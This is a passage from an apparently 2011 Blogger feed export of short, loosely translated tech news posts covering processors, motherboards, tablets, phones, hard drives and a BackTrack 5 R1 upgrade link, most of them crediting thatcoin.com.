href='http://www.blogger.com/feeds/4701803441346095986/posts/default/8970999763694343656'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/8970999763694343656'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2011/09/ideapad-a1.html' title='IdeaPad A1'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-8784833054660942519</id><published>2011-08-30T18:55:00.000+07:00</published><updated>2011-08-30T18:55:59.583+07:00</updated><title type='text'>Backtrack 5 R1 Scripts</title><content type='html'>After BackTrack 5 R1 released, BackTrack is time to upgrade from 5. by using a short python script, we can already use BackTrack 5 R1 without having to re-download.&lt;br /&gt;&lt;br /&gt;This script just simply want a bit to share : ( &lt;a href="http://www.thatcoin.com/2011/08/upgrade-backtrack-5-to-backtrack-5-r1/"&gt;click here&lt;/a&gt; )&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com/2011/08/upgrade-backtrack-5-to-backtrack-5-r1/"&gt;Thatcoin.com&lt;/a&gt; ] &lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-8784833054660942519?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/8784833054660942519'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/8784833054660942519'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2011/08/backtrack-5-r1-scripts.html' title='Backtrack 5 R1 Scripts'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-7261300687320887285</id><published>2011-08-17T22:12:00.002+07:00</published><updated>2011-08-17T22:12:26.930+07:00</updated><title type='text'>Intel DX79SI Chipset</title><content type='html'>Intel set up two new motherboard with X79 chipset.&lt;br /&gt;&lt;br /&gt;Intel Motherboard DX79SI designed specifically for computer extreme without limit. Especially for socket 2011 processors premises features 8 DIMM (64GB max), 3 PCIe 3.0 slots, 12SATA (6 ports ATA 600), 4 USB 30, 13 USB 2.0. To top this motherboard, Intel no longer provides port PS / 2&lt;br /&gt;&lt;br /&gt;Intel Motherboard DX79TO intended for those who are slightly conservative. Using the socket 1366, DDR3, 2 PCIe 2.0, 8 SATA,2 USB 3.0.&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com/2011/06/intel-motherboard-dx79si/"&gt;Thatcoin.com&lt;/a&gt; ]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-7261300687320887285?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/7261300687320887285'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/7261300687320887285'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2011/08/intel-dx79si-chipset.html' title='Intel DX79SI Chipset'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-3425400898357786344</id><published>2011-08-12T22:51:00.000+07:00</published><updated>2011-08-12T22:51:48.816+07:00</updated><title type='text'>Galaxy Tabs AMOLED</title><content type='html'>Samsung will release new Android tablet PC in September.&lt;br /&gt;Samsung Galaxy Tabs AMOLED displays will out in September.&lt;br /&gt;&lt;br /&gt;It has a screen resolution of 1025×768 (VGA) with a width of 7 inch AMOLED screen.&lt;br /&gt;&lt;br /&gt;The first Samsung tablet PC with a screen issue 7 inch, 10.1 inch and 8.9 inch LCD with a screen.&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com/2011/08/samsung-galaxy-tabs-amoled/"&gt;Thatcoin.com&lt;/a&gt; ]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-3425400898357786344?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/3425400898357786344'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/3425400898357786344'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2011/08/galaxy-tabs-amoled.html' title='Galaxy Tabs AMOLED'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-5107687313246796276</id><published>2011-08-06T21:38:00.000+07:00</published><updated>2011-08-06T21:38:18.676+07:00</updated><title type='text'>iPhone 5</title><content type='html'>iPhone 5 rumors delayed re-emerged. The most recent issue that the new iPhone 5 will appear in 2012.&lt;br /&gt;&lt;br /&gt;One reason for the delay because of problems on the iPhone 5 processors.&lt;br /&gt;A5 dual core processors is said to be overheating.&lt;br /&gt;Maybe Apple should wait for the revised model with the processor A6, A5 processors compared to using.&lt;br /&gt;&lt;br /&gt;If rumors on the right, allowing Apple released another version.Namely iPhone 4S comes out next spring, or rather the celebration of Christmas&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com/2011/07/iphone-5-processors/"&gt;Thatcoin.com&lt;/a&gt; ]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-5107687313246796276?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/5107687313246796276'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/5107687313246796276'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2011/08/iphone-5.html' title='iPhone 5'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-6070365779031768774</id><published>2011-07-31T23:04:00.000+07:00</published><updated>2011-07-31T23:04:49.487+07:00</updated><title type='text'>AMD Komodo Processor</title><content type='html'>One leak for AMD processors, the next year appeared Komodo processor. Followed by two other models of Trinity APU and APU Wichita low end processors.&lt;br /&gt;&lt;br /&gt;Corona processors of the platform is designed to Komodo with the chipset Hudson d4.&lt;br /&gt;&lt;br /&gt;Pile driver Komodo processor has 10 cores or update of the Bulldozer series.&lt;br /&gt;&lt;br /&gt;Having Turbo Core 3.0, DDR3, FM2 infrastructure. Hudson chipset D4 one of them comes with 4 USB 3.0, 8 SATA.&lt;br /&gt;&lt;br /&gt;Virgo platform processor type using APU Trinity. Pile driver has 4 cores, supports DX11, DDR3 and Turbo Core 3.0. Processors is accompanied by A75 or A55 AMD chipset. With USB 3.0 ports 4 pieces, and 6 SATA.&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com/2011/07/amd-komodo-10-cores/"&gt;Thatcoin.com&lt;/a&gt; ]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-6070365779031768774?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/6070365779031768774'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/6070365779031768774'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2011/07/amd-komodo-processor.html' title='AMD Komodo Processor'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-5772471718158606116</id><published>2011-07-16T21:16:00.000+07:00</published><updated>2011-07-16T21:16:59.356+07:00</updated><title type='text'>Google Maps 5.7</title><content type='html'>Google Maps 5.7 version of Android will be released. Has a new feature of pictures and routes, it is still the test phase.&lt;br /&gt;One function is data that is opened can be stored in the smartphone. So you do not need to be online constantly to the internet to open Google Maps 5.7.&lt;br /&gt;&lt;br /&gt;Offline feature that it is not enabled in previous versions. And still is masked by the team on the Beta version of Google Labs.&lt;br /&gt;There is a limit that is given from Google Maps 5.7 to download the maps offline. Restricted from a radius of 16km, but is enough for users who want to travel in tourist places. For example a tourist wanted to take pictures in a tourist area, just looking for the hotspot network to download maps. Within minutes, the area of the position of the smartphone will get a map from GoogleMaps.&lt;br /&gt;&lt;br /&gt;Google will add some new technology at Google Maps. For example you can see the bus routes, and the calculation of transport and navigation paths within a city. Including data bus lines, bus routes and bus fare to the position of the bus is running. Only a few cities alone will get this facility, such as cities in America, city Barcelona, Brussels or Turin. Not known whether Google would expand services to other city routes&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com/2011/07/google-maps-5-7-android-version/"&gt;Thatcoin.com&lt;/a&gt; ]&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-5772471718158606116?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/5772471718158606116'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/5772471718158606116'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2011/07/google-maps-57.html' title='Google Maps 5.7'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-1940995400222029220</id><published>2011-06-24T13:49:00.002+07:00</published><updated>2011-06-24T13:49:57.003+07:00</updated><title type='text'>Toshiba 19P2TV</title><content type='html'>Toshiba adds new LCD TV REGZA series. Toshiba 19P2TV one&lt;br /&gt;digital television with LCD screen stays on even though lights off.&lt;br /&gt;Toshiba 19P2TV will remain lit for 5 hours with the extra power behind the panels. Battery for Toshiba 19P2TV also cheap, only $ 86.&lt;br /&gt;Features Toshiba 19P2TV with HDMI inputs, digital 1Seg TV tuner,1366×768 resolution, LED back light, wide screen 19 inch. The plan will be marketed this summer for the Japanese market.&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com/2011/06/lcd-toshiba-19p2tv/"&gt;Thatcoin.com&lt;/a&gt; ]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-1940995400222029220?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/1940995400222029220'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/1940995400222029220'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2011/06/toshiba-19p2tv.html' title='Toshiba 19P2TV'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-5462659555976336135</id><published>2011-06-16T20:30:00.000+07:00</published><updated>2011-06-16T20:30:42.445+07:00</updated><title type='text'>Intel Celeron Sandy Bridge</title><content type='html'>Low cost Processors Intel Celeron Sandy Bridge exit from the series in September.&lt;br /&gt;Celeron G440, single core, 1MB Cache $ 37&lt;br /&gt;Celeron G530 2.4Ghz, dual core, 2 threads, 2MB Cache $ 42&lt;br /&gt;Celeron G540, 2.5GHz, dual core, 2 threads, 2MB Cache $ 52.&lt;br /&gt;When the new processors for socket LGA 1166.&lt;br /&gt;When the processor is Celeron series will replace E3x00 from Socket LGA 775&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com/2011/06/processors-intel-celeron-sandy-bridge/"&gt;Thatcoin.com&lt;/a&gt; ]&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-5462659555976336135?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/5462659555976336135'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/5462659555976336135'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2011/06/intel-celeron-sandy-bridge.html' title='Intel Celeron Sandy Bridge'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-5596559666925895081</id><published>2011-06-06T16:52:00.002+07:00</published><updated>2011-06-06T16:52:32.673+07:00</updated><title type='text'>Smartphone 12Mpix</title><content type='html'>Looks like cell phone technology continues to catch up on the camera sensor. One product from HTC has a camera sensor 12Mpix can even save images as RAW format digital SLR camera&lt;br /&gt;A media get these features on the HTC mobile phone. The design follows similar smartphones like the HTC Trophy.&lt;br /&gt;Called HTC Mazaa, but this smartphone is not yet known whether using CDMA or GSM network connection.&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com/2011/06/windows-htc-12mpix-smartphone/"&gt;Thatcoin.com&lt;/a&gt; ]&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-5596559666925895081?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/5596559666925895081'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/5596559666925895081'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2011/06/smartphone-12mpix.html' title='Smartphone 12Mpix'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-846902946883072739</id><published>2011-05-24T20:30:00.000+07:00</published><updated>2011-05-24T20:30:37.160+07:00</updated><title type='text'>Corsair watercooler H100</title><content type='html'>Corsair released two new Corsair watercooler. Corsair H100 and H80, both using water cooling system to cool the processor.&lt;br /&gt;&lt;br /&gt;Corsair H100 using a 250mm radiator, 2 fan 120mm fan with 2600RPM rotation per minute. The power of water flow between 46-92CFM fan with 22-39dBA noise. Cooler can be used for all AMD and Intel processors that exist today.&lt;br /&gt;&lt;br /&gt;Not yet reported whether to support Sandy Bridge processor E or AMD processor socket type FM1 Llano.&lt;br /&gt;Corsair H100 Price about 120 euros for the European market.,while the H80 model $ 108 cheaper.&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com/2011/05/corsair-watercooler/"&gt;Thatcoin.com&lt;/a&gt; ]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-846902946883072739?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/846902946883072739'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/846902946883072739'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2011/05/corsair-watercooler-h100.html' title='Corsair watercooler H100'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-5436956920366352711</id><published>2011-05-08T13:32:00.000+07:00</published><updated>2011-05-08T13:32:33.938+07:00</updated><title type='text'>AMD Phenom II 980</title><content type='html'>AMD chip designers prepare the fastest processor is the Phenom Black Edition II 980. Top speed with 4-core 3.7Ghz processor.&lt;br /&gt;Underneath is the Phenom II X6 1100T, can reach 3.7Ghz with Turbo Mode with 3 cores working full. For Phenom II 980 Black Edition came out ahead, with all cores working at the same speed. Using Core K10.5 Deneb and architects, 6MB L3, eachcore has 512KB cache and a total of $ 125W power requirement&lt;br /&gt;&lt;br /&gt;Phenom Black Edition II 980 into the ranks of high end processors,but rumors of it costs $ 200.&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com/2011/05/amd-phenom-ii-980-black-edition/"&gt;Thatcoin.com&lt;/a&gt; ]&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-5436956920366352711?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/5436956920366352711'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/5436956920366352711'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2011/05/amd-phenom-ii-980.html' title='AMD Phenom II 980'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-8438840613799898091</id><published>2011-04-30T17:32:00.000+07:00</published><updated>2011-04-30T17:32:23.244+07:00</updated><title type='text'>Intel WaterCooler</title><content type='html'>Intel considers to provide packet processors with watercooler. Sandy Bridge processor Extreme Edition E type or XE has a fairly high performance and best performance today.&lt;br /&gt;&lt;br /&gt;Since the old Intel only provides cooling in the form of heatsink and fan. For the new processors, Intel engineer says “Overclocking the Intel Processor-Based Desktop and Mobile Platforms” to meet the lover of overclock.&lt;br /&gt;&lt;br /&gt;In documents seen 2 products heatsinks, specifically to mention the name Corsair H50 watercooler. But that model examples given in the Intel presentation.&lt;br /&gt;Why are Intel processors need to renew the coolant. Latest Intel processors have a large size, such as quad and six-core model.&lt;br /&gt;&lt;br /&gt;Sandy Bridge E chip paired with Patsburg core logic chip, which chip&lt;br /&gt;&lt;br /&gt;the 2nd set the processor speed. Here the reason, the Sandy Bridge processor E to be driven by antisuas computer and require better cooling.&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com/2011/04/watercooler-processors/"&gt;Thatcoin.com&lt;/a&gt; ]&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-8438840613799898091?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/8438840613799898091'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/8438840613799898091'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2011/04/intel-watercooler.html' title='Intel WaterCooler'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-3501649490270013346</id><published>2011-04-10T14:56:00.000+07:00</published><updated>2011-04-10T14:56:53.463+07:00</updated><title type='text'>AMD Bulldozer</title><content type='html'>AMD introduced a chipset that is Zambiezi Bulldozer. And 2 new chipset with little difference from AMD series 8 and 9.&lt;br /&gt;&lt;br /&gt;AMD’s upcoming 3 new chipset&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;* AMD 990FX – supports two PCIe 2.0 x16 slots (configurable as four PCIe 2.0 x8), six PCIe 2.0 x1 slots, one PCIe 2.0 x4 slots, to be paired with SB950 I / O controller;&lt;br /&gt;* AMD 990X – supports one PCIe 2.0 x16 slots (configurable as two x8 PCIe 2.0), six PCIe 2.0 x1 slots;&lt;br /&gt;* AMD 970 – supports one PCIe 2.0 x16 slots, to be paired with SB950 and SB920 I / O controllers;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;2 latest Southbridge chipset.&lt;br /&gt;&lt;br /&gt;* AMD SB950 – four PCIe 2.0 x1 slots, 14 USB 2.0 controllers, PCI bus, six Serial ATA-600 connectors with RAID 0, 1, 5, 10 support;&lt;br /&gt;* AMD SB920 – two PCIe 2.0 x1 slots, 14 USB 2.0 controllers, PCI bus, six Serial ATA-600 connectors with RAID 0, 1, 10 support;&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com/2010/10/amd-bulldozer-to-introduce-second-quarter-of-2011/"&gt;Thatcoin.com&lt;/a&gt; ]&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-3501649490270013346?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/3501649490270013346'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/3501649490270013346'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2011/04/amd-bulldozer.html' title='AMD Bulldozer'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-9031682394501231398</id><published>2011-04-02T18:54:00.000+07:00</published><updated>2011-04-02T18:54:35.627+07:00</updated><title type='text'>HAF 912 Casing</title><content type='html'>HAF is a meaningful High Air Flow. In addition to X HAF full size tower to enthusiast users, Cooler Master designed the product mainstream gamers with artwork HAF 912 chassis.&lt;br /&gt;&lt;br /&gt;Having arrived in the homeland HAF 912 Advance edition is more comprehensive with the standard version. Striking differences:&lt;br /&gt;Black interior finish (standard = no black finish)&lt;br /&gt;Front panel USB 3.0 (standard = none)&lt;br /&gt;Side panel windows (standard = none)&lt;br /&gt;Bundle 200mm top fan (standard = none)&lt;br /&gt;Front 200mm fan with LED (Standard 120mm)&lt;br /&gt;&lt;br /&gt;[&lt;a href="http://www.thatcoin.com/2011/02/unboxing-and-cooler-master-haf-912-advanced-casing/"&gt;Thatcoin.com&lt;/a&gt;]&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-9031682394501231398?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/9031682394501231398'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/9031682394501231398'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2011/04/haf-912-casing.html' title='HAF 912 Casing'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-8947587167346373820</id><published>2011-03-24T16:04:00.001+07:00</published><updated>2011-03-24T16:06:59.836+07:00</updated><title type='text'>Western Digital 3 TB</title><content type='html'>Western Digital launches hard drives with 3TB capacity, type WD30EZRS become the biggest hard drives are made. Price sold for $ 240. While the smaller models with a capacity of 2.5TB Western Digital WD25EZRS $ 189&lt;br /&gt;&lt;br /&gt;The problem re-emerged with such a large capacity hard disk. For the computer world was most computers can only use the capacity of 2.19TB.&lt;br /&gt;&lt;br /&gt;Like Windows XP will only recognize 4,294,967,296 logic blocks per drive. So the hard drive will only be known with a maximum capacity of .19 TB (2,199,023,255,552 bytes).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;WD offers another solution is the addition of cards to their hard drive. With the BIOS to UEFI then known as the boot disk drive or second hard drive. Unfortunately the motherboard with a BIOS UEFI still step. So far the operating system Windows Vista and Windows 7 64bit has no problems.&lt;br /&gt;&lt;br /&gt;WD30EZRSDTL 3TB comes with a PCI Express card HighPoint RocketRAID 62X. Card controller while a solution using disk with a capacity of 2.5TB and 3TB. In Windows Vista and Windows 7 where the system BIOS does not support large hard drive capacity. So the hard disk storage can only be recognized as an additional hard drive.&lt;br /&gt;&lt;br /&gt;3TB WD hard drive comes with a 4-platter, each platter holds 750GB with a 64MB buffer. For capacity 3.000.492MB written format.&lt;br /&gt;&lt;br /&gt;[&lt;a href="http://www.thatcoin.com/2010/10/western-digital-3-tb-wd30ezrs-hdd/"&gt;Thatcoin.com&lt;/a&gt;]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-8947587167346373820?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/8947587167346373820'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/8947587167346373820'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2011/03/western-digital-3-tb.html' title='Western Digital 3 TB'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-1351260677210807032</id><published>2011-03-18T16:50:00.000+07:00</published><updated>2011-03-18T16:50:04.919+07:00</updated><title type='text'>Notebook Sandy Bridge Processors</title><content type='html'>Intel is set to launch several &lt;span class="IL_AD" id="IL_AD7"&gt;Sandy&lt;/span&gt; Bridge-based low-power processors under its Huron River platform, Core i7-2640LM, 2620LM, 2630UM and 2610LM, as well as Core i5-2530UM, in addition to its Core i7-2920XM, 2820QM, 2720QM and 2620M, and Core i5-2540M and 2520M, according to sources from notebook players.&lt;br /&gt;&lt;!-- Begin Google Adsense code --&gt;&lt;br /&gt;Intel also plans to launch a Celeron processor coded B801 for the entry-level notebook market.&lt;span id="more-610"&gt;&lt;/span&gt;&lt;br /&gt;Huron River consists of a 32nm Sandy Bridge processor and QS67/QM67 &lt;span class="IL_AD" id="IL_AD9"&gt;chipset&lt;/span&gt;, and is equipped with either a combination of Centrino Ultimate-N/Advanced-N 6000 &lt;span class="IL_AD" id="IL_AD1"&gt;series&lt;/span&gt; wireless or Centrino Advanced-N/WiMAX 6000 series wireless. The platform will also support Intel’s Wireless Display (WiDi) technology. As vendors are expected to launch Huron River-based notebooks, while &lt;span class="IL_AD" id="IL_AD6"&gt;cutting&lt;/span&gt; the &lt;span class="IL_AD" id="IL_AD5"&gt;price&lt;/span&gt; of their Calpella-based models in the first quarter of 2011, consumer demand in the quarter is expected to become strong, the sources noted.&lt;br /&gt;Sandy Bridge, formerly Gesher, is the codename for the processor microarchitecture developed by Intel as the successor to Nehalem. Based on the 32 nm process, development began in 2005 at Intel’s Israel Development Center (IDC) in Haifa.&lt;br /&gt;&lt;br 